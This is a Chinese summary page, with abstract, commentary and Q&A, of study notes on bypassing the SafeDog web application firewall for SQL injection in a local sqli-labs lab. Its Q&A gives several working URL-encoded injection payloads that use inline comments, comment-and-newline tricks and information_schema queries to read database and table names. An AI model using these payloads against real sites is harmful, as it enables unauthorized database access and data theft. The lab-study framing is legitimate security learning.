bypass 学习笔记之绕安全狗bypass safedog

bypass 学习笔记之绕安全狗bypass safedog

💡 原文中文,约2400字,阅读约需6分钟。
📝

内容提要

本文介绍绕过安全狗WAF进行SQL注入的方法。通过Fuzz测试,发现使用内联注释(如`/*!10450order by*/`)或注释加换行(如`order#by`)可绕过字段数判断;联合查询时,仅需对`select`关键字进行内联注释或添加垃圾字符即可绕过。爆数据阶段,利用`union all--+x%0Aselect`等技巧获取数据库名和表名。最后提及分块传输插件可进一步绕过WAF,但内容未完待续。

🔎

延伸解读

内联注释数值差异的疑点

文章提到在绕过安全狗时,内联注释中的数字(如10450)不同,拦截情况也不同,但作者并不清楚MySQL的查询原理。这提示读者,WAF的规则可能基于特定模式匹配,而数字变化可能影响匹配结果。但具体机制需进一步研究,不可盲目依赖。

注释与垃圾字符的灵活运用

绕过联合查询时,仅需对select关键字进行内联注释或添加垃圾字符即可,而union无需处理。这表明安全狗的检测重点在于敏感关键字,而非整个语句。读者可尝试类似思路,但需注意不同WAF规则差异,实际测试中应多尝试不同字符组合。

环境配置的注意事项

作者强调使用phpstudy时需将MySQL版本调至5.5以上,以确保存在information_schema数据库,便于实验。这提醒读者,本地环境配置直接影响测试效果,若版本过低,部分功能可能无法复现。搭建sqli-labs时也需修改数据库密码,确保环境正确。

Q&A

如何绕过安全狗WAF判断SQL注入的字段数?

可以使用内联注释,例如 `?id=1%27/*!14440order by*/ 3--+` 或 `?id=1%27/*!10450order%20by*/%203--%20+`,其中内联注释中的数字(如10450)不同,绕过效果也不同。另外,也可以使用注释加换行,如 `?id=1%20order%23by%203%20--+`,其中`%23`是`#`,后面加`%0A`(换行)可绕过。

在联合查询注入时,如何绕过安全狗对select关键字的拦截?

安全狗主要拦截`select`关键字,对`union`不敏感。可以使用内联注释,如 `?id=-1%27%20union%20/*!10440select*/%201,2,3%20--+`,或者使用注释加垃圾字符,如 `?id=-1%27%20union%230%0Aselect%201,2,3%20--+`,其中垃圾字符至少一个,可以是任意字符。

如何绕过安全狗获取当前数据库名?

可以使用`union all--+x%0Aselect`的技巧,例如 `?id=-1%27%20union%20all--+x%0Aselect%201,2,database/*!00000()*/--+`,或者使用注释加换行,如 `?id=-1%27%20union%23a%0Aselect%201,2,database%23%0A()--+`。

如何绕过安全狗获取其他数据库名?

可以使用类似 `?id=-1%27%20union%20%23asdasdasd%0a%20select%201,(select%20schema_name%20from%20%23%0ainformation_schema.schemata%20%20limit%202,1),3%20--%20+` 的语句,其中利用注释和换行绕过WAF。注意,文章中作者提到自己可以查到其他数据库,但参考文章中不行,可能存在环境差异。

如何绕过安全狗获取表名?

可以使用`union all--+x%0Aselect`的技巧,例如 `?id=-1%27%20union%20all--+x%0Aselect%201,2,group_concat(table_name)from%20sys.schema_auto_increment_columns%20where%20table_schema=database/*!/*%23*/*/()--+`,其中利用内联注释和特殊写法绕过WAF。

安全狗WAF对SQL注入的拦截特点是什么?

安全狗主要拦截`select`关键字,对`union`不敏感。此外,内联注释中的数字(如10450)不同,拦截情况也不同。通过Fuzz测试,可以使用内联注释、注释加换行、垃圾字符等方式绕过。

分块传输插件能否绕过安全狗WAF?

文章中作者提到之前看到分块传输插件可以过很多WAF,并计划尝试,但内容未完待续,未给出具体结果。

🏷️

标签

➡️

继续阅读